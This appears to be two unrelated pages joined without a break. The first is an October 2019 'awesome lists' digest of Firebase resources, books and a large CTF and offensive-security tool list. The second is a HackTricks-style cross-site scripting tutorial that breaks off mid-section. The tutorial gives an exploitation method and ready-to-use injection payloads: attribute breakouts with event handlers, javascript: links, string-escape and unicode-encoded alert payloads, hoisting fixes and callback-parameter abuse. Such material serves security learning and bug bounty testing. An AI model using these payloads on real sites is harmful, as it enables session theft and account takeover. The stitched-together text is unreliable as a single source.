* 🔌 [Apollo Link Firebase (⭐412)](https://github.com/Canner/apollo-link-firebase) - Provides a local GraphQL interface to RealtimeDB. DB syncs locally to device, Apollo Link provides querying into the local DB.
* 🔌 [BuckleScript Bindings for Firebase (⭐42)](https://github.com/avohq/bs-firebase) - BuckleScript bindings for Firebase for use in ReasonML projects.
* 💡 [Angular Firebase PWA (⭐927)](https://github.com/codediodeio/angular-firestarter) - Is an Angular PWA powered by Firebase. It can serve as a foundation to learn this stack and roll out more complex features.
* 🔌 [FireSQL (⭐345)](https://github.com/jsayol/FireSQL) - Query Firestore using SQL syntax. Issues the minimum amount of queries necessary in order to get the data that you request.
* 📖 [Hosting Version History](https://firebase.google.com/docs/hosting/deploying#set_limit_for_retained_versions) - Automatic deletion of older versions of your site deployments.
* 🔌 [Firestorter (⭐374)](https://github.com/IjzerenHein/firestorter) - Use Firestore in React with zero effort, using MobX (also for react-native).
* 💡 [Nextbase (⭐14)](https://github.com/martyan/nextbase) - Boilerplate of Next.js, Redux & Firebase for developers who want a quick start project.
### Mobile
* 📖 [Firebase Flutter Documentation](https://firebase.google.com/docs/flutter/setup) - Official Firebase Flutter Setup.
* 🔌 [NativeScript plugin Firebase (⭐1k)](https://github.com/EddyVerbruggen/nativescript-plugin-firebase) - NativeScript plugin for Firebase.
* 🔌 [React Native Firebase (⭐11k)](https://github.com/invertase/react-native-firebase) - Well-tested feature rich modular Firebase implementation for React Native. Supports both iOS & Android platforms.
* 💡 [Expo Native Firebase (⭐209)](https://github.com/EvanBacon/expo-native-firebase) - Native Firebase Expo App (iOS, Android) Demo for Firestore, Notifications, Analytics, Storage, Messaging, Database.
### Mobile / Android
* 🔌 [GeoFire for Java (⭐670)](https://github.com/firebase/geofire-java) - Realtime location queries with Firebase.
* 🔌 [Firebase UI (⭐4.5k)](https://github.com/firebase/firebaseui-android) - Optimized UI components for Firebase.
* 🔌 [FireXtensions (⭐29)](https://github.com/rosariopfernandes/firextensions) - Unofficial Kotlin Extensions for the Firebase Android SDK.
### Mobile / iOS
* 🔌 [GeoFire for Objective-C (⭐441)](https://github.com/firebase/geofire-objc) - Realtime location queries with Firebase.
* 🔌 [Firebase UI (⭐1.4k)](https://github.com/firebase/firebaseui-ios) - iOS UI bindings for Firebase.
* 💡 [MLKit - ARCore (⭐11)](https://github.com/FirebaseExtended/MLKit-ARCore) - Example detecting objects and tags them with 3D labels in Augmented Reality. Uses Firebase ML Kit, ARCore and Firebase RTDB.
* 💡 [MLKit - ARKit (⭐31)](https://github.com/FirebaseExtended/MLKit-ARKit) - Example detecting objects using Firebase ML Kit and tags them with 3D labels in Augmented Reality.
### Server-side (Cloud Functions, BigQuery etc) / iOS
* 📖 [Firebase Admin Documentation](https://firebase.google.com/docs/admin/setup) - Official Firebase Admin SDK Server Setup.
* 💡 [Functions Samples (⭐12k)](https://github.com/firebase/functions-samples) - Collection of sample apps showcasing popular use cases using Cloud Functions for Firebase.
* 📝 [GraphQL Server on Cloud Functions](https://codeburst.io/graphql-server-on-cloud-functions-for-firebase-ae97441399c0) - Host an Express server with GraphQL middleware on Cloud Functions.
* 📝 [BigQuery & Google Analytics](https://medium.com/firebase-developers/how-do-i-create-a-closed-funnel-in-google-analytics-for-firebase-using-bigquery-6eb2645917e1) - How Do I Create a Closed Funnel in Google Analytics for Firebase Using BigQuery.
* 📹 [Official Cloud Function #Firecasts](https://www.youtube.com/watch?v=2mjfI0FYP7Y\&list=PLl-K7zZEsYLm9A9rcHb1IkyQUu6QwbjdM) - YouTube video series about understanding how Cloud Functions work.
* 📝 [Firebase Hosting for Cloud Run Services](https://firebase.googleblog.com/2019/04/firebase-hosting-and-cloud-run.html) - Dynamic content with Hosting Rewrites & Cloud Run Services.
* 📝 [Scheduled (Cron) Cloud Functions for Firebase](https://firebase.googleblog.com/2019/04/schedule-cloud-functions-firebase-cron.html) - Firebase-native Cron triggers for Firebase Cloud Functions.
* 🔌 [Integrify (⭐104)](https://github.com/anishkny/integrify) - Enforce referential and data integrity in Firestore using pre-canned Cloud Functions triggers.
### CLI & Editor / iOS
* 🔧 [Firebase Tools (⭐3.7k)](https://github.com/firebase/firebase-tools) - The Firebase Command Line Tools.
* 🔧 [Firebase CI (⭐72)](https://github.com/prescottprue/firebase-ci) - Simplified Firebase interaction for continuous integration.
* 🔧 [Firebase Firestore Snippets (⭐13)](https://github.com/peterhdd/firebase-firestore-snippets) - Contains the snippet for both Firebase and Firestore in VS Code editor.
* 🔧 [Fuego (⭐184)](https://github.com/sgarciac/fuego) - Firestore client CLI supporting document add/update/query with filtering and pagination.
* 🔧 [Firestore Rules Generator (⭐193)](https://github.com/FirebaseExtended/protobuf-rules-gen) - Official (but experimental) Firebase Rules Generator for Cloud Firestore based on Google's Protocol Buffer format.
* 🔧 [Firepit (⭐26)](https://github.com/abehaskins/firepit) - Firepit is a standalone, portable version of the Firebase CLI which has no depedencies (including Node.js).
* 🔧 [Fireward (⭐230)](https://github.com/bijoutrouvaille/fireward) - Easy to use language for Firestore rules, similar to Firebase Bolt.
### Other / iOS
* 🔌 [FireDrill (⭐58)](https://github.com/scottlepp/fire-drill) - Find, Edit, Add, Remove, Import, Export, and Report on your Firebase data.
* 💡 [Unity Solutions (⭐117)](https://github.com/FirebaseExtended/unity-solutions) - Use Firebase tools to incorporate common features into your games.
* 🔌 [Firebase AIR Native Extension (⭐56)](https://github.com/myflashlab/Firebase-ANE) - Firebase ANE collection give you access to the Google Firebase project in your AdobeAir projects supported on both Android and iOS with 100% identical ActionScript API.
* 🔌 [QtFirebase (⭐269)](https://github.com/Larpon/QtFirebase) - An effort to bring Google's Firebase C++ API to Qt + QML.
* 📝 [StackBlitz to Firebase Hosting Deployments](https://medium.com/@ericsimons/announcing-split-second-static-deploys-for-firebase-7440d8e84879) - StackBlitz (online code editor) to Firebase Hosting static deployments.
* 🔧 [Flamelink](https://flamelink.io/) - CMS for Firebase. Supports Firestore, RealtimeDatabase & Storage.
* 📹 [Firebase Summit 2018](https://www.youtube.com/watch?v=lN0VXVXsj9k\&list=PLl-K7zZEsYLnqdlmz7iFe9Lb6cRU3Nv4R) - All Firebase Summit 2018 talks.
* 📹 [Firebase @ Google Cloud Next '18](https://www.youtube.com/watch?v=OPj26MY16F8\&list=PLl-K7zZEsYLmYx3MkJRIUPH_JVFHLTlwL) - All Firebase talks @ Google Cloud Next 2018.
* 📹 [Firebase @ Google IO '18](https://www.youtube.com/watch?v=e-8fiv-vteQ\&list=PLl-K7zZEsYLn1omgx_VUhCDFsQMA7PRDd) - All Firebase talks @ Google IO 2018.
* 📹 [#AskFirebase YouTube Playlist](https://www.youtube.com/watch?v=TSzhzR4wzSE\&list=PLl-K7zZEsYLkkCFs6T9mlqG8v6NCs38pA) - Official #AskFirebase playlist on YouTube.
* 📝 [State of Firebase (mid 2019)](https://codeburst.io/the-state-of-firebase-mid-2019-2b002c458d70) - Cloud Next & Google I/O 2019 updates!
* 📹 [Firebase @ Google IO '19](https://www.youtube.com/playlist?list=PLl-K7zZEsYLlo2L4rfPds-fFLEtOWheoO) - All Firebase talks @ Google IO 2019.
### Follow / Community
* 📹 ru [@firebase\_ru - Telegram friendly chat](https://t.me/firebase_ru)
## [14. Mind Expanding Books](/content/hackerkid/Mind-Expanding-Books/README.md)
### Science and Medicine
- Name: The Man Who Mistook His Wife for A Hat and Other Clinical Tales
Author: Oliver Sacks
Goodreads Rating: [4.05](https://www.goodreads.com/book/show/63697.The_Man_Who_Mistook_His_Wife_for_a_Hat_and_Other_Clinical_Tales)
Year Published: 1998
### Logic and Problem Solving
- Name: Mazes for the Mind: Computers and the Unexpected
Author: Clifford A. Pickover
Goodreads Rating: [4.05](https://www.goodreads.com/book/show/1986400.Mazes_for_the_Mind)
Year Published: 1992
### Politics
- Name: The Art of Deception: Controlling the Human Element of Security
Author: Kevin D. Mitnick
Goodreads Rating: [3.76](https://www.goodreads.com/book/show/18160.The_Art_of_Deception)
Year Published: 2003
## [15. Awesome Vue](/content/vuejs/awesome-vue/README.md)
### Resources / Community
* [VueJS USA - Meetups](https://events.vuejs.org/meetups/#united-states)
## [16. Awesome Blazor](/content/AdrienTorris/awesome-blazor/README.md)
### Courses / Others
* [Blazor and Razor Components in a nutshell](https://www.udemy.com/course/blazor-and-razor-components-in-a-nutshell/) - October 2019 - Learn how to use a framework that allows you to run your compiled code directly in the browser on top of WebAssembly, a course on Udemy.
* [Blazor on ASP.NET Core 3.0](https://www.skillshare.com/site/join?teacherRef=102575464\&t=Blazor-on-ASP.NET-Core-3.0\&sku=1662883580) - October 2019 - Blazor on ASP.NET Core 3.0, a course on SkillShare.
## [17. Awesome Splunk](/content/sduff/awesome-splunk/README.md)
### Visualisations / IT Service Intelligence
* [Event Timeline Viz](https://splunkbase.splunk.com/app/4370/) - Interactive timeline with call-outs for events.
## [18. Awesome Actions](/content/sdras/awesome-actions/README.md)
### Deployment / Code Coverage
* [FTP Deploy Action, Deploys a GitHub project to a FTP server using GitHub actions (⭐2k)](https://github.com/SamKirkland/FTP-Deploy-Action)
### Cheat Sheet / Terraform
* [GitHub Actions Branding Cheat Sheet](https://haya14busa.github.io/github-action-brandings/)
## [19. Awesome Ctf](/content/apsdehal/awesome-ctf/README.md)
### Forensics
* [Dnscat2 (⭐2.8k)](https://github.com/iagox86/dnscat2) - Hosts communication through DNS.
* [Registry Dumper](http://www.kahusecurity.com/posts/registry_dumper_find_and_dump_hidden_registry_keys.html) - Dump your registry.
* [CFF Explorer](http://www.ntcore.com/exsuite.php) - PE Editor.
* [Creddump (⭐219)](https://github.com/moyix/creddump) - Dump windows credentials.
* [DVCS Ripper (⭐1.5k)](https://github.com/kost/dvcs-ripper) - Rips web accessible (distributed) version control systems.
* [Exif Tool](http://www.sno.phy.queensu.ca/\~phil/exiftool/) - Read, write and edit file metadata.
* [Extundelete](http://extundelete.sourceforge.net/) - Used for recovering lost data from mountable images.
* [Fibratus (⭐1.7k)](https://github.com/rabbitstack/fibratus) - Tool for exploration and tracing of the Windows kernel.
* [Fsck.ext4](http://linux.die.net/man/8/fsck.ext3) - Used to fix corrupt filesystems.
* [Malzilla](http://malzilla.sourceforge.net/) - Malware hunting tool.
* [NetworkMiner](http://www.netresec.com/?page=NetworkMiner) - Network Forensic Analysis Tool.
* [PDF Streams Inflater](http://malzilla.sourceforge.net/downloads.html) - Find and extract zlib files compressed in PDF files.
* [ResourcesExtract](http://www.nirsoft.net/utils/resources_extract.html) - Extract various filetypes from exes.
* [Shellbags (⭐139)](https://github.com/williballenthin/shellbags) - Investigate NT\_USER.dat files.
* [USBRip (⭐1.1k)](https://github.com/snovvcrash/usbrip) - Simple CLI forensics tool for tracking USB device artifacts (history of USB events) on GNU/Linux.
* [Volatility (⭐5.7k)](https://github.com/volatilityfoundation/volatility) - To investigate memory dumps.
* [OfflineRegistryView](https://www.nirsoft.net/utils/offline_registry_view.html) - Simple tool for Windows that allows you to read offline Registry files from external drive and view the desired Registry key in .reg file format.
* [Registry Viewer®](https://accessdata.com/product-download/registry-viewer-2-0-0) - Used to view Windows registries.
### Platforms
* [CTFd (⭐4.3k)](https://github.com/isislab/CTFd) - Platform to host jeopardy style CTFs from ISISLab, NYU Tandon.
* [FBCTF (⭐6.5k)](https://github.com/facebook/fbctf) - Platform to host Capture the Flag competitions from Facebook.
* [Haaukins (⭐146)](https://github.com/aau-network-security/haaukins)- A Highly Accessible and Automated Virtualization Platform for Security Education.
* [HackTheArch (⭐62)](https://github.com/mcpa-stlouis/hack-the-arch) - CTF scoring platform.
* [Mellivora (⭐405)](https://github.com/Nakiami/mellivora) - A CTF engine written in PHP.
* [NightShade (⭐104)](https://github.com/UnrealAkama/NightShade) - A simple security CTF framework.
* [OpenCTF (⭐78)](https://github.com/easyctf/openctf) - CTF in a box. Minimal setup required.
* [PicoCTF (⭐265)](https://github.com/picoCTF/picoCTF) - The platform used to run picoCTF. A great framework to host any CTF.
* [PyChallFactory (⭐83)](https://github.com/pdautry/py_chall_factory) - Small framework to create/manage/package jeopardy CTF challenges.
* [RootTheBox (⭐691)](https://github.com/moloch--/RootTheBox) - A Game of Hackers (CTF Scoreboard & Game Manager).
* [Scorebot (⭐46)](https://github.com/legitbs/scorebot) - Platform for CTFs by Legitbs (Defcon).
* [SecGen (⭐2.4k)](https://github.com/cliffe/SecGen) - Security Scenario Generator. Creates randomly vulnerable virtual machines.
### Web
* [Uglify (⭐12k)](https://github.com/mishoo/UglifyJS)
* [Hackbar](https://addons.mozilla.org/en-US/firefox/addon/hackbartool/) - Firefox addon for easy web exploitation.
* [Postman](https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?hl=en) - Add on for chrome for debugging network requests.
* [Raccoon (⭐2.6k)](https://github.com/evyatarmeged/Raccoon) - A high performance offensive security tool for reconnaissance and vulnerability scanning.
* [SQLMap (⭐25k)](https://github.com/sqlmapproject/sqlmap) - Automatic SQL injection and database takeover tool.
`pip install sqlmap`
* [XSSer](http://xsser.sourceforge.net/) - Automated XSS testor.
### Attacks
* [Yersinia (⭐548)](https://github.com/tomac/yersinia) - Attack various protocols on layer 2.
### Crypto
* [CyberChef](https://gchq.github.io/CyberChef) - Web app for analysing and decoding data.
* [FeatherDuster (⭐989)](https://github.com/nccgroup/featherduster) - An automated, modular cryptanalysis tool.
* [Hash Extender (⭐888)](https://github.com/iagox86/hash_extender) - A utility tool for performing hash length extension attacks.
* [padding-oracle-attacker (⭐154)](https://github.com/KishanBagaria/padding-oracle-attacker) - A CLI tool to execute padding oracle attacks.
* [PkCrack](https://www.unix-ag.uni-kl.de/\~conrad/krypto/pkcrack.html) - A tool for Breaking PkZip-encryption.
* [RSACTFTool (⭐3.9k)](https://github.com/Ganapati/RsaCtfTool) - A tool for recovering RSA private key with various attack.
* [RSATool (⭐851)](https://github.com/ius/rsatool) - Generate private key with knowledge of p and q.
* [XORTool (⭐1.2k)](https://github.com/hellman/xortool) - A tool to analyze multi-byte xor cipher.
### Bruteforcers
* [John The Jumbo (⭐6.9k)](https://github.com/magnumripper/JohnTheRipper) - Community enhanced version of John the Ripper.
* [John The Ripper](http://www.openwall.com/john/) - Password Cracker.
### Exploits
* [DLLInjector (⭐453)](https://github.com/OpenSecurityResearch/dllinjector) - Inject dlls in processes.
* [Pwntools (⭐9.5k)](https://github.com/Gallopsled/pwntools) - CTF Framework for writing exploits.
* [Qira (⭐3.6k)](https://github.com/BinaryAnalysisPlatform/qira) - QEMU Interactive Runtime Analyser.
* [ROP Gadget (⭐3.2k)](https://github.com/JonathanSalwan/ROPgadget) - Framework for ROP exploitation.
* [V0lt (⭐358)](https://github.com/P1kachu/v0lt) - Security CTF Toolkit.
### Networking
* [Zeek](https://www.zeek.org) - An open-source network security monitor.
### Reversing
* [Androguard (⭐4.1k)](https://github.com/androguard/androguard) - Reverse engineer Android applications.
* [Angr (⭐6.2k)](https://github.com/angr/angr) - platform-agnostic binary analysis framework.
* [Apk2Gold (⭐616)](https://github.com/lxdvs/apk2gold) - Yet another Android decompiler.
* [ApkTool](http://ibotpeaches.github.io/Apktool/) - Android Decompiler.
* [Barf (⭐1.3k)](https://github.com/programa-stic/barf-project) - Binary Analysis and Reverse engineering Framework.
* [Binary Ninja](https://binary.ninja/) - Binary analysis framework.
* [BinUtils](http://www.gnu.org/software/binutils/binutils.html) - Collection of binary tools.
* [ctf\_import (⭐100)](https://github.com/docileninja/ctf_import) – run basic functions from stripped binaries cross platform.
* [cwe\_checker (⭐741)](https://github.com/fkie-cad/cwe_checker) - cwe\_checker finds vulnerable patterns in binary executables.
* [demovfuscator (⭐597)](https://github.com/kirschju/demovfuscator) - A work-in-progress deobfuscator for movfuscated binaries.
* [Frida](https://github.com/frida/) - Dynamic Code Injection.
* [GDB](https://www.gnu.org/software/gdb/) - The GNU project debugger.
* [GEF (⭐5.1k)](https://github.com/hugsy/gef) - GDB plugin.
* [Hopper](http://www.hopperapp.com/) - Reverse engineering tool (disassembler) for OSX and Linux.
* [IDA Pro](https://www.hex-rays.com/products/ida/) - Most used Reversing software.
* [Jadx (⭐32k)](https://github.com/skylot/jadx) - Decompile Android files.
* [Java Decompilers](http://www.javadecompilers.com) - An online decompiler for Java and Android APKs.
* [Krakatau (⭐1.6k)](https://github.com/Storyyeller/Krakatau) - Java decompiler and disassembler.
* [Objection (⭐5.4k)](https://github.com/sensepost/objection) - Runtime Mobile Exploration.
* [PEDA (⭐5.2k)](https://github.com/longld/peda) - GDB plugin (only python2.7).
* [Pin](https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool) - A dynamic binary instrumentaion tool by Intel.
* [PINCE (⭐1.5k)](https://github.com/korcankaraokcu/PINCE) - GDB front-end/reverse engineering tool, focused on game-hacking and automation.
* [PinCTF (⭐449)](https://github.com/ChrisTheCoolHut/PinCTF) - A tool which uses intel pin for Side Channel Analysis.
* [radare2 (⭐17k)](https://github.com/radare/radare2) - A portable reversing framework.
* [Triton (⭐2.6k)](https://github.com/JonathanSalwan/Triton/) - Dynamic Binary Analysis (DBA) framework.
* [Uncompyle (⭐410)](https://github.com/gstarnberger/uncompyle) - Decompile Python 2.7 binaries (.pyc).
* [WinDbg](http://www.windbg.org/) - Windows debugger distributed by Microsoft.
* [Xocopy](http://reverse.lostrealm.com/tools/xocopy.html) - Program that can copy executables with execute, but no read permission.
* [Z3 (⭐8.1k)](https://github.com/Z3Prover/z3) - A theorem prover from Microsoft Research.
* [Detox](http://relentless-coding.org/projects/jsdetox/install) - A Javascript malware analysis tool.
* [Revelo](http://www.kahusecurity.com/posts/revelo_javascript_deobfuscator.html) - Analyze obfuscated Javascript code.
* [Swftools](http://www.swftools.org/) - Collection of utilities to work with SWF files.
### Services
* [CSWSH](http://cow.cat/cswsh.html) - Cross-Site WebSocket Hijacking Tester.
* [Request Bin](https://requestbin.com/) - Lets you inspect http requests to a particular url.
### Steganography
* [AperiSolve](https://aperisolve.fr/) - Aperi'Solve is a platform which performs layer analysis on image (open-source).
* [Convert](http://www.imagemagick.org/script/convert.php) - Convert images b/w formats and apply filters.
* [Exif](http://manpages.ubuntu.com/manpages/trusty/man1/exif.1.html) - Shows EXIF information in JPEG files.
* [Exiftool](https://linux.die.net/man/1/exiftool) - Read and write meta information in files.
* [Exiv2](http://www.exiv2.org/manpage.html) - Image metadata manipulation tool.
* [ImageMagick](http://www.imagemagick.org/script/index.php) - Tool for manipulating images.
* [Outguess](https://www.freebsd.org/cgi/man.cgi?query=outguess+\&apropos=0\&sektion=0\&manpath=FreeBSD+Ports+5.1-RELEASE\&format=html) - Universal steganographic tool.
* [SmartDeblur (⭐2.2k)](https://github.com/Y-Vladimir/SmartDeblur) - Used to deblur and fix defocused images.
* [Steganabara](https://www.openhub.net/p/steganabara) - Tool for stegano analysis written in Java.
* [Stegbreak](https://linux.die.net/man/1/stegbreak) - Launches brute-force dictionary attacks on JPG image.
* [StegCracker (⭐471)](https://github.com/Paradoxis/StegCracker) - Steganography brute-force utility to uncover hidden data inside files.
* [stegextract (⭐98)](https://github.com/evyatarmeged/stegextract) - Detect hidden files and text in images.
* [Steghide](http://steghide.sourceforge.net/) - Hide data in various kind of images.
* [Stegsolve](http://www.caesum.com/handbook/Stegsolve.jar) - Apply various steganography techniques to images.
* [Zsteg (⭐940)](https://github.com/zed-0xff/zsteg/) - PNG/BMP analysis.
### Operating Systems
* [Android Tamer](https://androidtamer.com/) - Based on Debian.
* [BackBox](https://backbox.org/) - Based on Ubuntu.
* [BlackArch Linux](https://blackarch.org/) - Based on Arch Linux.
* [Fedora Security Lab](https://labs.fedoraproject.org/security/) - Based on Fedora.
* [Kali Linux](https://www.kali.org/) - Based on Debian.
* [Parrot Security OS](https://www.parrotsec.org/) - Based on Debian.
* [Pentoo](http://www.pentoo.ch/) - Based on Gentoo.
* [URIX OS](http://urix.us/) - Based on openSUSE.
* [Wifislax](http://www.wifislax.com/) - Based on Slackware.
* [Flare VM (⭐4.1k)](https://github.com/fireeye/flare-vm/) - Based on Windows.
* [REMnux](https://remnux.org/) - Based on Debian.
### Tutorials
* [CTF Field Guide](https://trailofbits.github.io/ctf/) - Field Guide by Trails of Bits.
* [CTF Resources](http://ctfs.github.io/resources/) - Start Guide maintained by community.
* [LiveOverFlow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w) - Video tutorials on Exploitation.
* [MIPT CTF (⭐250)](https://github.com/xairy/mipt-ctf) - A small course for beginners in CTFs (in Russian).
### Wargames
* [Crackmes](https://crackmes.one/) - Reverse Engineering Challenges.
* [Exploit Exercises](https://exploit-exercises.lains.space/) - Variety of VMs to learn variety of computer security issues.
* [Exploit.Education](http://exploit.education) - Variety of VMs to learn variety of computer security issues.
* [Gracker (⭐4)](https://github.com/Samuirai/gracker) - Binary challenges having a slow learning curve, and write-ups for each level.
* [Microcorruption](https://microcorruption.com) - Embedded security CTF.
* [Over The Wire](http://overthewire.org/wargames/) - Wargame maintained by OvertheWire Community.
* [PWN Challenge](http://pwn.eonew.cn/) - Binary Exploitation Wargame.
* [Pwnable.kr](http://pwnable.kr/) - Pwn Game.
* [Pwnable.tw](https://pwnable.tw/) - Binary wargame.
* [Pwnable.xyz](https://pwnable.xyz/) - Binary Exploitation Wargame.
* [Reversin.kr](http://reversing.kr/) - Reversing challenge.
* [Ringzer0Team](https://ringzer0team.com/) - Ringzer0 Team Online CTF.
* [ROP Wargames (⭐20)](https://github.com/xelenonz/game) - ROP Wargames.
* [Viblo CTF](https://ctf.viblo.asia) - Various amazing CTF challenges, in many different categories. Has both Practice mode and Contest mode.
### Websites
* [CTF Time](https://ctftime.org/) - General information on CTF occuring around the worlds.
* [Reddit Security CTF](http://www.reddit.com/r/securityctf) - Reddit CTF category.
### Wikis
* [Bamboofox](https://bamboofox.github.io/) - Chinese resources to learn CTF.
* [bi0s Wiki](https://teambi0s.gitlab.io/bi0s-wiki/) - Wiki from team bi0s.
* [ISIS Lab (⭐379)](https://github.com/isislab/Project-Ideas/wiki) - CTF Wiki by Isis lab.
* [OpenToAll (⭐122)](https://github.com/OpenToAllCTF/Tips) - CTF tips by OTA CTF team members.
### Writeups Collections
* [Captf](http://captf.com/) - Dumped CTF challenges and materials by psifertex.
* [CTF write-ups (community)](https://github.com/ctfs/) - CTF challenges + write-ups archive maintained by the community.
* [CTFTime Scrapper (⭐27)](https://github.com/abdilahrf/CTFWriteupScrapper) - Scraps all writeup from CTF Time and organize which to read first.
* [pwntools writeups (⭐458)](https://github.com/Gallopsled/pwntools-write-ups) - A collection of CTF write-ups all using pwntools.
* [Shell Storm](http://shell-storm.org/repo/CTF/) - CTF challenge archive maintained by Jonathan Salwan.
## [20. Awesome Dev Fun](/content/mislavcimpersak/awesome-dev-fun/README.md)
### JavaScript
* [jsFuck (⭐7.1k)](https://github.com/aemkei/jsfuck)
---
- Prev: [Oct 10, 2019](/content/2019/10/10/README.md)
- Next: [Oct 08, 2019](/content/2019/10/08/README.md) |
# XSS (Cross Site Scripting)
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Methodology
1. Check if **any value you control** (_parameters_, _path_, _headers_?, _cookies_?) is being **reflected** in the HTML or **used** by **JS** code.
2. **Find the context** where it's reflected/used.
3. If **reflected**
1. Check **which symbols can you use** and depending on that, prepare the payload:
1. In **raw HTML**:
1. Can you create new HTML tags?
2. Can you use events or attributes supporting `javascript:` protocol?
3. Can you bypass protections?
4. Is the HTML content being interpreted by any client side JS engine (_AngularJS_, _VueJS_, _Mavo_...), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md).
5. If you cannot create HTML tags that execute JS code, could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection.md)?
2. Inside a **HTML tag**:
1. Can you exit to raw HTML context?
2. Can you create new events/attributes to execute JS code?
3. Does the attribute where you are trapped support JS execution?
4. Can you bypass protections?
3. Inside **JavaScript code**:
1. Can you escape the `<script>` tag?
2. Can you escape the string and execute different JS code?
3. Are your input in template literals \`\`?
4. Can you bypass protections?
4. Javascript **function** being **executed**
1. You can indicate the name of the function to execute. e.g.: `?callback=alert(1)`
4. If **used**:
1. You could exploit a **DOM XSS**, pay attention how your input is controlled and if your **controlled input is used by any sink.**
When working on a complex XSS you might find interesting to know about:
{% content-ref url="debugging-client-side-js.md" %}
[debugging-client-side-js.md](debugging-client-side-js.md)
{% endcontent-ref %}
## Reflected values
In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page.
* **Intermediately reflected**: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a **Reflected XSS**.
* **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**.
* **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**.
## Contexts
When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways.
### Raw HTML
If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: `<img , <iframe , <svg , <script` ... these are just some of the many possible HTML tags you could use.\
Also, keep in mind [Client Side Template Injection](../client-side-template-injection-csti.md).
### Inside HTML tags attribute
If your input is reflected inside the value of the attribute of a tag you could try:
1. To **escape from the attribute and from the tag** (then you will be in the raw HTML) and create new HTML tag to abuse: `"><img [...]`
2. If you **can escape from the attribute but not from the tag** (`>` is encoded or deleted), depending on the tag you could **create an event** that executes JS code: `" autofocus onfocus=alert(1) x="`
3. If you **cannot escape from the attribute** (`"` is being encoded or deleted), then depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked. Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
4. If your input is reflected inside "**unexpoitable tags**" you could try the **`accesskey`** trick to abuse the vuln (you will need some kind of social engineer to exploit this): **`" accesskey="x" onclick="alert(1)" x="`**
### Inside JavaScript code
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
* If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `</script>` tag is inside the HTML code.
* If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` ``
* **Unicode encode** works to write **valid javascript code**:
```javascript
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
```
#### Javascript Hoisting
Javascript Hoisting references the opportunity to **declare functions, variables or classes after they are used**.
Therefore if you have scenarios where you can **Inject JS code after an undeclared object** is used, you could **fix the syntax** by declaring it (so your code gets executed instead of throwing an error):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
```
```javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
```
```javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
```
```javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']
```
For more info about Javascript Hoisting check: [https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
### Javascript Function
Several web pages have endpoints that **accept as parameter the name of the function to execute**. A common example to see in the wild is something like: `?callback=callbackFunc`.
A good way to find out if something given directly by the user is trying to be executed is **modifying the param value** (for example to 'Vulnerable') and looking in the console for errors like:
 (2).png>)
In case it's vulnerable, you could be able to **trigger an alert** just doing sending the value: **`?callback=alert(1)`**. However, it' very common that this endpoints will **validate the content** to only allow letters, numbers, dots and underscores (**`[\w\._]`**).
However, even with that limitation it's still possible to perform some actions. This is because you can use that valid chars to **access any element in the DOM**:
.png>)
Some useful functions for this:
```
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
```
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
{% endcontent-ref %}
### DOM
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
{% content-ref url="dom-xss.md" %}
